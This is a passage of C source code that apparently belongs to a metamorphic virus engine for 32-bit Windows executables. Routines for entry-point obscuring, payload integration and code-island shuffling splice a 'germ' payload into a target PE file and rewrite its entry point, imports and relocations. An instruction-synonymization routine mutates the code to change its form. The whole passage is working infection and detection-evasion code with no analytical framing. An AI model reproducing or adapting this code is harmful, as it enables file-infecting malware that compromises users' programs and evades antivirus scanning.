            pPreviousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pCurrentX86InstructionAbstraction;
        }
        
        pPreviousX86InstructionAbstraction=pCurrentX86InstructionAbstraction;
    }
    
    // Mutate the EPO sequence via synonymization
    
    pSynonymousEPOCodeAbstractionTable=SynonymizeX86CodeAbstractionSequence(pAPITable, pEPOCodeAbstractionTable, pPrimaryPE32Abstraction->pRelocationAbstractions, NULL, TRUE, TRUE);

    ReCalculateX86InstructionOffsets(pSynonymousEPOCodeAbstractionTable);
    
    for(pLastEPOSequenceInstructionAbstraction=pSynonymousEPOCodeAbstractionTable->pInitialX86InstructionAbstraction;;)
    {
        if(pLastEPOSequenceInstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction == NULL)
        {
            break;
        }
        
        pLastEPOSequenceInstructionAbstraction=pLastEPOSequenceInstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
    }

    // Ascertain an appropriate location within primary PE32 for EPO sequence
    
    DWORD dwEPOIndex, dwCurrentInstructionIndex;
    PX86_INSTRUCTION_ABSTRACTION pSelectedEPOX86InstructionAbstraction=NULL, pOEPInstructionAbstraction=NULL;
    
    if(bEntryPoint)
    {
        // Walk primary code abstractions until the OEP instruction is found. Set first EPO instruction as OEP, and insert EPO instruction sequence before OEP and its previous instruction (if any)
        
        for(pCurrentX86InstructionAbstraction=pPrimaryPE32Abstraction->pCodeAbstractions->pInitialX86InstructionAbstraction; pCurrentX86InstructionAbstraction != NULL; pCurrentX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction)
        {
            if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagEntryPoint))
            {
                pOEPInstructionAbstraction=pCurrentX86InstructionAbstraction;
                
                break;
            }
            
            pPreviousX86InstructionAbstraction=pCurrentX86InstructionAbstraction;
        }
        
        if(pOEPInstructionAbstraction == NULL)
        {
            return NULL;
        }
        else
        {
            pOEPInstructionAbstraction->dwExtendedFlags &= ~X86InstructionExtendedFlagEntryPoint;
        }
        
        pPreviousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pSynonymousEPOCodeAbstractionTable->pInitialX86InstructionAbstraction;
        pLastEPOSequenceInstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pOEPInstructionAbstraction;
        
        if(pPrimaryPE32Abstraction->pCodeAbstractions->pInitialX86InstructionAbstraction == pOEPInstructionAbstraction)
        {
            pPrimaryPE32Abstraction->pCodeAbstractions->pInitialX86InstructionAbstraction=pSynonymousEPOCodeAbstractionTable->pInitialX86InstructionAbstraction;
        }
    }
    else
    {
        // Select a pAPITable->Random instruction index in the primary code abstractions
        
        while(pSelectedEPOX86InstructionAbstraction == NULL)
        {
            dwEPOIndex=(pAPITable->Rand() % pPrimaryPE32Abstraction->pCodeAbstractions->dwNumberOfInstructions);
            
            for(dwCurrentInstructionIndex=0, pCurrentX86InstructionAbstraction=pPrimaryPE32Abstraction->pCodeAbstractions->pInitialX86InstructionAbstraction; pCurrentX86InstructionAbstraction != NULL; pCurrentX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction, dwCurrentInstructionIndex++)
            {
                if(dwEPOIndex == dwCurrentInstructionIndex)
                {
                    // The selected EPO entry point cannot be neighboring data, or proceed a flag-sensitive instruction
                    
                    if(pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction != NULL)
                    {
                        if(pCurrentX86InstructionAbstraction->dwDataSize == 0 && pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwDataSize == 0 && !(pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagConditionalBranch))
                        {
                            pSelectedEPOX86InstructionAbstraction=pCurrentX86InstructionAbstraction;
                            
                            pLastEPOSequenceInstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pSelectedEPOX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
                            pSelectedEPOX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pSynonymousEPOCodeAbstractionTable->pInitialX86InstructionAbstraction;
                            
                            break;
                        }
                    }
                }
            }
        }
    }
    
    return pSynonymousEPOCodeAbstractionTable;
}

BOOL
IntegratePayload32
(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, DWORD dwTargetPE32PoolSize, PBYTE pPayloadCodePool, DWORD dwPayloadCodePoolSize, PBYTE *ppIntertwinedPE32Pool, PDWORD pdwIntertwinedPE32PoolSize, BOOL bGermInstance, PBYTE pPreviousFrozenCodeIslandAbstractionTable)
{
    PPE32_ABSTRACTION_TABLE pTargetPE32Abstraction;
    PBYTE pIntertwinedPE32Pool, pAugmentedPE32Pool, pCurrentPE32Pool=pTargetPE32Pool, pPrimaryCodePool, pNewRelocationDataDirectory;
    DWORD dwRelocationSectionNameString[2], dwX, dwMaximumNumberOfDetours, dwIntertwinedPE32PoolSize, dwAugmentedPE32PoolSize, dwCurrentPE32PoolSize=dwTargetPE32PoolSize, dwNewRelocationDataDirectorySize, dwOriginalRelocationCharacteristics;
    PX86_INSTRUCTION_ABSTRACTION pCurrentX86InstructionAbstraction;
    int nPayloadCodePoolSize, nCurrentRequiredCodeAugmentationSize, nPrimaryCodePoolSize, nOriginalCodeSize=-1, nPreviousRequiredCodeAugmentationSize=0;
    PX86_CODE_ISLAND_ABSTRACTION_TABLE pIntertwinedCodeX86AbstractionIslandTable=NULL, pPrimaryCodeX86AbstractionIslandTable=NULL, pShuffledPrimaryCodeX86AbstractionIslandTable=NULL, pPayloadCodeX86AbstractionIslandTable=NULL, pShuffledPayloadCodeX86AbstractionIslandTable=NULL;
    PX86_CODE_ABSTRACTION_TABLE pSynonymousPayloadCodeAbstractionTable, pPayloadCodeAbstractionTable;
    DWORD dwMessageString[3];
    
    dwRelocationSectionNameString[0]='ler.';
    dwRelocationSectionNameString[1]='co';
    
    do
    {   
        if((pTargetPE32Abstraction=AnalyzeX86PE32(pAPITable, pCurrentPE32Pool, dwCurrentPE32PoolSize, nOriginalCodeSize)) != NULL)
        {
            //
        }
        else
        {
            return FALSE;
        }
        
        if((pPayloadCodeAbstractionTable=AnalyzeX86IsolatedCodeSequence(pAPITable, pPayloadCodePool, dwPayloadCodePoolSize)) == NULL)
        {
            return FALSE;
        }
        
        // Identify frozen code island table indicator in germ
        
        for(pCurrentX86InstructionAbstraction=pPayloadCodeAbstractionTable->pInitialX86InstructionAbstraction; pCurrentX86InstructionAbstraction != NULL; pCurrentX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction)
        {
            if((pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData32))
            {
                if((bGermInstance && (*(PDWORD)&pCurrentX86InstructionAbstraction->Data[pCurrentX86InstructionAbstraction->dwDataOffset] & 0xA1B1C100) == 0xA1B1C100 && *(PDWORD)&pCurrentX86InstructionAbstraction->Data[pCurrentX86InstructionAbstraction->dwDataOffset] != 0xA1B1C100) || (!bGermInstance && *(PDWORD)&pCurrentX86InstructionAbstraction->Data[pCurrentX86InstructionAbstraction->dwDataOffset] == pPreviousFrozenCodeIslandAbstractionTable))
                {
                    pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagFrozenCodeIsland;
                    *(PDWORD)&pCurrentX86InstructionAbstraction->Data[pCurrentX86InstructionAbstraction->dwDataOffset]=0;
                    
                    break;
                }
            }
        }
        
        if(bGermInstance)
        {
            pSynonymousPayloadCodeAbstractionTable=SynonymizeX86CodeAbstractionSequence(pAPITable, pPayloadCodeAbstractionTable, NULL, NULL, TRUE, TRUE);
            
            FreeX86CodeAbstractions(pAPITable, pPayloadCodeAbstractionTable);
        }
        else
        {
            pSynonymousPayloadCodeAbstractionTable=pPayloadCodeAbstractionTable;
        }
        
        ReCalculateX86InstructionOffsets(pSynonymousPayloadCodeAbstractionTable);
        ExtendEtherealX86BranchInstructions(pSynonymousPayloadCodeAbstractionTable);
        ReCalculateX86InstructionOffsets(pSynonymousPayloadCodeAbstractionTable);
        
        if(nOriginalCodeSize == -1)
        {
            nOriginalCodeSize=(pTargetPE32Abstraction->pSectionHeaders + pTargetPE32Abstraction->dwCodeSectionIndex)->Misc.VirtualSize;
        }
        
        ExtendEtherealX86BranchInstructions(pTargetPE32Abstraction->pCodeAbstractions);
        ReCalculateX86InstructionOffsets(pTargetPE32Abstraction->pCodeAbstractions);
        
        for(dwMaximumNumberOfDetours=((pAPITable->Rand() % 4) + 1), dwX=0; dwX < dwMaximumNumberOfDetours; dwX++)
        {
            InsertEPOSequence(pAPITable, pTargetPE32Abstraction, pSynonymousPayloadCodeAbstractionTable->pInitialX86InstructionAbstraction, FALSE, bGermInstance);
        }
        
        ReCalculateX86InstructionOffsets(pTargetPE32Abstraction->pCodeAbstractions);
        
        nPrimaryCodePoolSize=pTargetPE32Abstraction->pCodeAbstractions->dwTotalCodeSize;
        
        if((pPrimaryCodeX86AbstractionIslandTable=SelectX86CodeAbstractionIslands(pAPITable, pTargetPE32Abstraction->pCodeAbstractions->pInitialX86InstructionAbstraction)) != NULL)
        {
            //SymbolizeX86CodeIslands(pPrimaryCodeX86AbstractionIslandTable);
            
            if((pShuffledPrimaryCodeX86AbstractionIslandTable=ShuffleX86CodeAbstractionIslands(pAPITable, pPrimaryCodeX86AbstractionIslandTable)) != NULL)
            {
                nPrimaryCodePoolSize=RefreshEtherealX86InstructionIslandTable(pShuffledPrimaryCodeX86AbstractionIslandTable);
            }
        }
    
        if((pPayloadCodeX86AbstractionIslandTable=SelectX86CodeAbstractionIslands(pAPITable, pSynonymousPayloadCodeAbstractionTable->pInitialX86InstructionAbstraction)) != NULL)
        {
            if((pShuffledPayloadCodeX86AbstractionIslandTable=ShuffleX86CodeAbstractionIslands(pAPITable, pPayloadCodeX86AbstractionIslandTable)) != NULL)
            {
                nPayloadCodePoolSize=RefreshEtherealX86InstructionIslandTable(pShuffledPayloadCodeX86AbstractionIslandTable);
            }
        }
        
        pIntertwinedCodeX86AbstractionIslandTable=IntertwineCodeIslandTables(pAPITable, pShuffledPrimaryCodeX86AbstractionIslandTable->dwNumberOfCodeIslands > pShuffledPayloadCodeX86AbstractionIslandTable->dwNumberOfCodeIslands ? pShuffledPrimaryCodeX86AbstractionIslandTable : pShuffledPayloadCodeX86AbstractionIslandTable, pShuffledPayloadCodeX86AbstractionIslandTable->dwNumberOfCodeIslands < pShuffledPrimaryCodeX86AbstractionIslandTable->dwNumberOfCodeIslands ? pShuffledPayloadCodeX86AbstractionIslandTable : pShuffledPrimaryCodeX86AbstractionIslandTable);
        
        nPrimaryCodePoolSize=RefreshEtherealX86InstructionIslandTable(pIntertwinedCodeX86AbstractionIslandTable);
        
        Shrink32BitX86BranchIslandAbstractions(pIntertwinedCodeX86AbstractionIslandTable);
            
        nPrimaryCodePoolSize=RefreshEtherealX86InstructionIslandTable(pIntertwinedCodeX86AbstractionIslandTable);
        
        PBYTE pFrozenCodeIslandAbstractionPool;
        DWORD dwFrozenCodeIslandAbstractionPoolSize;
        
        FreezeX86CodeIslandAbstractions(pAPITable, pPayloadCodeX86AbstractionIslandTable, nPayloadCodePoolSize, &pFrozenCodeIslandAbstractionPool, &dwFrozenCodeIslandAbstractionPoolSize);
        
        // Identify the final address abstraction of the primary PE32
    
        PRELOCATION_ABSTRACTION pCurrentAddressAbstraction, pFinalAddressAbstraction;
        
        for(pCurrentAddressAbstraction=pTargetPE32Abstraction->pRelocationAbstractions; pCurrentAddressAbstraction != NULL; pCurrentAddressAbstraction=pCurrentAddressAbstraction->pNextRelocationAssociation)
        {
            pFinalAddressAbstraction=pCurrentAddressAbstraction;
        }
    
        DWORD dwCurrentCodeIslandIndex;
        PX86_INSTRUCTION_ABSTRACTION pFrozenCodeIslandAbstractionTableReferenceInstruction=NULL;
    
        // Identify frozen code island table indicator in germ
        
        for(dwCurrentCodeIslandIndex=0; dwCurrentCodeIslandIndex <= pIntertwinedCodeX86AbstractionIslandTable->dwNumberOfCodeIslands && pFrozenCodeIslandAbstractionTableReferenceInstruction == NULL; dwCurrentCodeIslandIndex++)
        {
            if(pIntertwinedCodeX86AbstractionIslandTable->CodeIslands[dwCurrentCodeIslandIndex].pInitialX86CodeIslandInstruction != NULL)
            {
                pCurrentX86InstructionAbstraction=pIntertwinedCodeX86AbstractionIslandTable->CodeIslands[dwCurrentCodeIslandIndex].pInitialX86CodeIslandInstruction;
            }
            
            while(pCurrentX86InstructionAbstraction != NULL)
            {
                if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagFrozenCodeIsland))
                {   
                    pFrozenCodeIslandAbstractionTableReferenceInstruction=pCurrentX86InstructionAbstraction;
                    
                    break;
                }
                
                if(pCurrentX86InstructionAbstraction == pIntertwinedCodeX86AbstractionIslandTable->CodeIslands[dwCurrentCodeIslandIndex].pFinalX86CodeIslandInstruction)
                {
                    break;
                }
                
                pCurrentX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
            }
        }
    
        PX86_INSTRUCTION_ABSTRACTION pFrozenCodeIslandAbstractionTable=pAPITable->GlobalAlloc(GPTR, sizeof(X86_INSTRUCTION_ABSTRACTION));
        
        pFrozenCodeIslandAbstractionTable->dwExtendedDataSize=dwFrozenCodeIslandAbstractionPoolSize;
        pFrozenCodeIslandAbstractionTable->pExtendedDataPool=pAPITable->GlobalAlloc(GPTR, dwFrozenCodeIslandAbstractionPoolSize);
        
        RelocateMemory(pFrozenCodeIslandAbstractionTable->pExtendedDataPool, pFrozenCodeIslandAbstractionPool, dwFrozenCodeIslandAbstractionPoolSize);
        
        // Link frozen code island table on to the end of the last primary code abstraction, and update offsets
        
        pIntertwinedCodeX86AbstractionIslandTable->CodeIslands[pIntertwinedCodeX86AbstractionIslandTable->dwNumberOfCodeIslands].pFinalX86CodeIslandInstruction->pNextMemoryOrderX86InstructionAbstraction=pFrozenCodeIslandAbstractionTable;
        pIntertwinedCodeX86AbstractionIslandTable->CodeIslands[pIntertwinedCodeX86AbstractionIslandTable->dwNumberOfCodeIslands].pFinalX86CodeIslandInstruction=pFrozenCodeIslandAbstractionTable;
        
        // Create an address abstraction, with a location within the identified instruction, and a reference to the final instruction of the last intertwined island (with an offset of instruction length)
        
        pCurrentAddressAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(RELOCATION_ABSTRACTION));
            
        //pFrozenCodeIslandAbstractionTableReferenceInstruction->dwReferencedAddressOffset=pCurrentX86InstructionAbstraction->dwInstructionLength;
        pFrozenCodeIslandAbstractionTableReferenceInstruction->pDataRelocationAbstraction=pCurrentAddressAbstraction;
        *(PDWORD)&pFrozenCodeIslandAbstractionTableReferenceInstruction->Data[pFrozenCodeIslandAbstractionTableReferenceInstruction->dwDataOffset]=pFrozenCodeIslandAbstractionTable->dwInstructionOffset + (pTargetPE32Abstraction->pSectionHeaders + pTargetPE32Abstraction->dwCodeSectionIndex)->VirtualAddress;
        
        pCurrentAddressAbstraction->pLocationSymbol=pFrozenCodeIslandAbstractionTableReferenceInstruction;
        pCurrentAddressAbstraction->dwAbsoluteAddressLocationSectionIndex=pTargetPE32Abstraction->dwCodeSectionIndex;
        pCurrentAddressAbstraction->pReferencedSymbol=pFrozenCodeIslandAbstractionTable;
        pCurrentAddressAbstraction->dwAbsoluteAddressReferencedSectionIndex=pTargetPE32Abstraction->dwCodeSectionIndex;
        pCurrentAddressAbstraction->dwFlags=(RELOCATION_ABSTRACTION_TYPE_CODE_DATA_LOCATION|RELOCATION_ABSTRACTION_TYPE_CODE_REFERENCE);
        
        pFinalAddressAbstraction->pNextRelocationAssociation=pCurrentAddressAbstraction;
        
        nCurrentRequiredCodeAugmentationSize=(((nPrimaryCodePoolSize=RefreshEtherealX86InstructionIslandTable(pIntertwinedCodeX86AbstractionIslandTable) + nPayloadCodePoolSize) - nOriginalCodeSize) - nPreviousRequiredCodeAugmentationSize);
        
        pAugmentedPE32Pool=NULL;
        dwAugmentedPE32PoolSize=0;

        if(nCurrentRequiredCodeAugmentationSize > 0)
        {
            if(AugmentPE32SectionSize(pAPITable, pCurrentPE32Pool, dwCurrentPE32PoolSize, &pAugmentedPE32Pool, &dwAugmentedPE32PoolSize, pTargetPE32Abstraction->dwCodeSectionIndex, nCurrentRequiredCodeAugmentationSize, NULL, NULL))
            {
                FreeRelocationAbstractions32(pAPITable, pTargetPE32Abstraction->pRelocationAbstractions);
                FreeIATAbstractions32(pAPITable, pTargetPE32Abstraction->pImportAbstractions);
                FreeX86CodeAbstractions(pAPITable, pTargetPE32Abstraction->pCodeAbstractions);
                
                pAPITable->GlobalFree(pCurrentPE32Pool);
                
                pCurrentPE32Pool=pAugmentedPE32Pool;
                dwCurrentPE32PoolSize=dwAugmentedPE32PoolSize;
                
                nPreviousRequiredCodeAugmentationSize += nCurrentRequiredCodeAugmentationSize;
                
                continue;
            }
        }
        else
        {   
            if(SolidifyX86CodeIslandAbstractions(pAPITable, pIntertwinedCodeX86AbstractionIslandTable, &pPrimaryCodePool, &nPrimaryCodePoolSize, NULL))
            {
                pTargetPE32Abstraction->pOptionalHeader->AddressOfEntryPoint=(pShuffledPrimaryCodeX86AbstractionIslandTable->pOEPX86InstructionAbstraction->dwInstructionOffset + (pTargetPE32Abstraction->pSectionHeaders + pTargetPE32Abstraction->dwCodeSectionIndex)->VirtualAddress);

                RelocateMemory(pCurrentPE32Pool + (pTargetPE32Abstraction->pSectionHeaders + pTargetPE32Abstraction->dwCodeSectionIndex)->PointerToRawData, pPrimaryCodePool, nPrimaryCodePoolSize);
                
                PBYTE pNewIATDataDirectory;
                DWORD dwNewIATDataDirectorySize;
                
                CreateIATSectionFromAbstractions32(pAPITable, pTargetPE32Abstraction->pImportAbstractions, &pNewIATDataDirectory, &dwNewIATDataDirectorySize, pTargetPE32Abstraction->pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress, FALSE);
                
                if(AugmentPE32SectionSize(pAPITable, pCurrentPE32Pool, dwCurrentPE32PoolSize, &pAugmentedPE32Pool, &dwAugmentedPE32PoolSize, 0, 0, pTargetPE32Abstraction->pImportAbstractions, pTargetPE32Abstraction->pExportAbstractions))
                {
                    pTargetPE32Abstraction->pDOSHeader=pAugmentedPE32Pool;
                    pTargetPE32Abstraction->pFileHeader=(PBYTE)pAugmentedPE32Pool + pTargetPE32Abstraction->pDOSHeader->e_lfanew + 4;
                    pTargetPE32Abstraction->pOptionalHeader=(PBYTE)pTargetPE32Abstraction->pFileHeader + sizeof(IMAGE_FILE_HEADER);
                    pTargetPE32Abstraction->pSectionHeaders=(PBYTE)pTargetPE32Abstraction->pOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER);
                    
                    pCurrentPE32Pool=pAugmentedPE32Pool;
                    dwCurrentPE32PoolSize=dwAugmentedPE32PoolSize;
                }
                else
                {
                    return FALSE;
                }
                
                dwOriginalRelocationCharacteristics=(pTargetPE32Abstraction->pSectionHeaders + pTargetPE32Abstraction->pFileHeader->NumberOfSections - 1)->Characteristics;
                pNewRelocationDataDirectory=NULL;
                dwNewRelocationDataDirectorySize=0;
                                
                CreateRelocationSectionFromAbstractions32(pAPITable, pCurrentPE32Pool, pTargetPE32Abstraction->pRelocationAbstractions, &pNewRelocationDataDirectory, &dwNewRelocationDataDirectorySize);
                
                RemovePE32Section(pAPITable, &pCurrentPE32Pool, &dwCurrentPE32PoolSize, pTargetPE32Abstraction->pFileHeader->NumberOfSections - 1);
                AddPE32Section(pAPITable, &pCurrentPE32Pool, &dwCurrentPE32PoolSize, &dwRelocationSectionNameString, dwOriginalRelocationCharacteristics, pNewRelocationDataDirectory, dwNewRelocationDataDirectorySize, dwNewRelocationDataDirectorySize);
                
                pAPITable->GlobalFree(pNewRelocationDataDirectory);
                
                pTargetPE32Abstraction->pDOSHeader=pCurrentPE32Pool;
                pTargetPE32Abstraction->pFileHeader=(PBYTE)pCurrentPE32Pool + pTargetPE32Abstraction->pDOSHeader->e_lfanew + 4;
                pTargetPE32Abstraction->pOptionalHeader=(PBYTE)pTargetPE32Abstraction->pFileHeader + sizeof(IMAGE_FILE_HEADER);
                pTargetPE32Abstraction->pSectionHeaders=(PBYTE)pTargetPE32Abstraction->pOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER);
                
                pTargetPE32Abstraction->pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress=(pTargetPE32Abstraction->pSectionHeaders + pTargetPE32Abstraction->pFileHeader->NumberOfSections - 1)->VirtualAddress;
                pTargetPE32Abstraction->pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size=dwNewRelocationDataDirectorySize;
                
                FreeRelocationAbstractions32(pAPITable, pTargetPE32Abstraction->pRelocationAbstractions);
                FreeIATAbstractions32(pAPITable, pTargetPE32Abstraction->pImportAbstractions);
                FreeX86CodeAbstractions(pAPITable, pTargetPE32Abstraction->pCodeAbstractions);
                
                pIntertwinedPE32Pool=pCurrentPE32Pool;
                dwIntertwinedPE32PoolSize=dwCurrentPE32PoolSize;
            }
        }
    }
    while(nCurrentRequiredCodeAugmentationSize > 0);
        
    *ppIntertwinedPE32Pool=pIntertwinedPE32Pool;
    *pdwIntertwinedPE32PoolSize=dwIntertwinedPE32PoolSize;
    
    return TRUE;
}

PX86_CODE_ABSTRACTION_TABLE
SynonymizeX86CodeAbstractionSequence
(PAPI_TABLE pAPITable, PX86_CODE_ABSTRACTION_TABLE pTargetCodeAbstractionTable, PRELOCATION_ABSTRACTION pAddressAbstractions, PEXPORT_ABSTRACTION_TABLE pExportAbstractionTable, BOOL bShrinkCode, BOOL bExpandCode)
{
    PX86_INSTRUCTION_ABSTRACTION pCurrentTargetX86InstructionAbstraction, pNewSynonymousX86InstructionAbstraction, pPreviousTargetX86InstructionAbstraction=NULL, pCurrentSynonymousX86InstructionAbstraction, pPreviousSynonymousX86InstructionAbstraction;
    PRELOCATION_ABSTRACTION pCurrentAddressAbstraction;
    PEXPORT_ABSTRACTION pCurrentExportAbstraction;
    PX86_CODE_ABSTRACTION_TABLE pSynonymousTargetCodeAbstractionTable=pAPITable->GlobalAlloc(GPTR, sizeof(X86_CODE_ABSTRACTION_TABLE));
    
    pSynonymousTargetCodeAbstractionTable->dwTotalCodeSize=pTargetCodeAbstractionTable->dwTotalCodeSize;
    pSynonymousTargetCodeAbstractionTable->dwNumberOfInstructions=pTargetCodeAbstractionTable->dwNumberOfInstructions;
    
    // Mirror the target code abstractions to a synonymous one
    
    for(pCurrentTargetX86InstructionAbstraction=pTargetCodeAbstractionTable->pInitialX86InstructionAbstraction; pCurrentTargetX86InstructionAbstraction != NULL; pCurrentTargetX86InstructionAbstraction=pCurrentTargetX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction)
    {
        pCurrentSynonymousX86InstructionAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(X86_INSTRUCTION_ABSTRACTION));
        
        if(pSynonymousTargetCodeAbstractionTable->pInitialX86InstructionAbstraction == NULL)
        {
            pSynonymousTargetCodeAbstractionTable->pInitialX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction;
        }
        else
        {
            pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction;
            pCurrentSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction;
        }
        
        pPreviousSynonymousX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction;
        
        pCurrentSynonymousX86InstructionAbstraction->pDataRelocationAbstraction=pCurrentTargetX86InstructionAbstraction->pDataRelocationAbstraction;
        pCurrentSynonymousX86InstructionAbstraction->pMemoryRelocationAbstraction=pCurrentTargetX86InstructionAbstraction->pMemoryRelocationAbstraction;
        pCurrentSynonymousX86InstructionAbstraction->dwDataSize=pCurrentTargetX86InstructionAbstraction->dwDataSize;
        pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=pCurrentTargetX86InstructionAbstraction->dwInstructionLength;
        pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags=pCurrentTargetX86InstructionAbstraction->dwStandardFlags;
        pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags=pCurrentTargetX86InstructionAbstraction->dwExtendedFlags;
        pCurrentSynonymousX86InstructionAbstraction->dwInstructionOffset=pCurrentTargetX86InstructionAbstraction->dwInstructionOffset;
        pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes=pCurrentTargetX86InstructionAbstraction->dwNumberOfPrefixes;
        pCurrentSynonymousX86InstructionAbstraction->dwMemoryOffset=pCurrentTargetX86InstructionAbstraction->dwMemoryOffset;
        pCurrentSynonymousX86InstructionAbstraction->dwDataOffset=pCurrentTargetX86InstructionAbstraction->dwDataOffset;
        pCurrentSynonymousX86InstructionAbstraction->lBranchDestinationOffset=pCurrentTargetX86InstructionAbstraction->lBranchDestinationOffset;
        pCurrentSynonymousX86InstructionAbstraction->SourceRegister=pCurrentTargetX86InstructionAbstraction->SourceRegister;
        pCurrentSynonymousX86InstructionAbstraction->DestinationRegister=pCurrentTargetX86InstructionAbstraction->DestinationRegister;
        pCurrentSynonymousX86InstructionAbstraction->ModRM=pCurrentTargetX86InstructionAbstraction->ModRM;
        pCurrentSynonymousX86InstructionAbstraction->Mod=pCurrentTargetX86InstructionAbstraction->Mod;
        pCurrentSynonymousX86InstructionAbstraction->Reg=pCurrentTargetX86InstructionAbstraction->Reg;
        pCurrentSynonymousX86InstructionAbstraction->Rm=pCurrentTargetX86InstructionAbstraction->Rm;
        pCurrentSynonymousX86InstructionAbstraction->SIB=pCurrentTargetX86InstructionAbstraction->SIB;
        pCurrentSynonymousX86InstructionAbstraction->Scale=pCurrentTargetX86InstructionAbstraction->Scale;
        pCurrentSynonymousX86InstructionAbstraction->Index=pCurrentTargetX86InstructionAbstraction->Index;
        pCurrentSynonymousX86InstructionAbstraction->Base=pCurrentTargetX86InstructionAbstraction->Base;
        pCurrentSynonymousX86InstructionAbstraction->WBit=pCurrentTargetX86InstructionAbstraction->WBit;
        pCurrentSynonymousX86InstructionAbstraction->WBitOpcode=pCurrentTargetX86InstructionAbstraction->WBitOpcode;
        pCurrentSynonymousX86InstructionAbstraction->DBit=pCurrentTargetX86InstructionAbstraction->DBit;
        pCurrentSynonymousX86InstructionAbstraction->DBitOpcode=pCurrentTargetX86InstructionAbstraction->DBitOpcode;
        pCurrentSynonymousX86InstructionAbstraction->Opcode=pCurrentTargetX86InstructionAbstraction->Opcode;
        
        if(pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength != 0)
        {
            RelocateMemory(pCurrentSynonymousX86InstructionAbstraction->Data, pCurrentTargetX86InstructionAbstraction->Data, pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength);
        }
        else
        {
            RelocateMemory(pCurrentSynonymousX86InstructionAbstraction->Data, pCurrentTargetX86InstructionAbstraction->Data, pCurrentSynonymousX86InstructionAbstraction->dwDataSize);
        }
        
        // Walk address abstraction list, fix any address abstractions that referenced the old instruction link
        
        for(pCurrentAddressAbstraction=pAddressAbstractions; pCurrentAddressAbstraction != NULL; pCurrentAddressAbstraction=pCurrentAddressAbstraction->pNextRelocationAssociation)
        {
            if(pCurrentAddressAbstraction->pLocationSymbol == pCurrentTargetX86InstructionAbstraction)
            {
                pCurrentAddressAbstraction->pLocationSymbol=pCurrentSynonymousX86InstructionAbstraction;
            }
            
            if(pCurrentAddressAbstraction->pReferencedSymbol == pCurrentTargetX86InstructionAbstraction)
            {
                pCurrentAddressAbstraction->pReferencedSymbol=pCurrentSynonymousX86InstructionAbstraction;
            }
        }
        
        if(pExportAbstractionTable != NULL)
        {
            for(pCurrentExportAbstraction=pExportAbstractionTable->pExportAbstractions; pCurrentExportAbstraction != NULL; pCurrentExportAbstraction=pCurrentExportAbstraction->pNextExportAbstraction)
            {
                if(pCurrentExportAbstraction->pLocationSymbol == pCurrentTargetX86InstructionAbstraction)
                {
                    pCurrentExportAbstraction->pLocationSymbol=pCurrentSynonymousX86InstructionAbstraction;
                }
            }
        }
    }
    
    IdentifyEtherealX86BranchCorrespondences(pSynonymousTargetCodeAbstractionTable->pInitialX86InstructionAbstraction);

    BYTE CurrentSourceRegister, CurrentDestinationRegister;
    CHAR FirstSymbolizedInstruction[256], SecondSymbolizedInstruction[256], ThirdSymbolizedInstruction[256], FourthSymbolizedInstruction[256];
    BOOL bValidConstant, bValidRegister, bValidDisplacement;
    DWORD dwConstant, dwDelta, dwX;
    PX86_INSTRUCTION_ABSTRACTION pDiscardableLinks[2];
    
    for(dwX=0; dwX < 2; dwX++)
    {
        pDiscardableLinks[dwX]=NULL;
    }       
    
    if(bShrinkCode)
    {   
        // Walk instruction list and swap single instructions back to their quintessential form
        
        //printf("[*] Shrinking single instructions...\r\n");
    
        for(pCurrentSynonymousX86InstructionAbstraction=pSynonymousTargetCodeAbstractionTable->pInitialX86InstructionAbstraction; pCurrentSynonymousX86InstructionAbstraction != NULL; pCurrentSynonymousX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction)
        {   
            // Or Reg1(8/16/32), Reg1(8/16/32) -> Test Reg1(8/16/32), Reg1(8/16/32)
            // Sub Reg1(8/16/32), Reg1(8/16/32) -> Xor Reg1(8/16/32), Reg1(8/16/32)
            // Mov Reg(8/16/32), 0(8/16/32) -> Xor Reg(8/16/32), Reg(8/16/32)
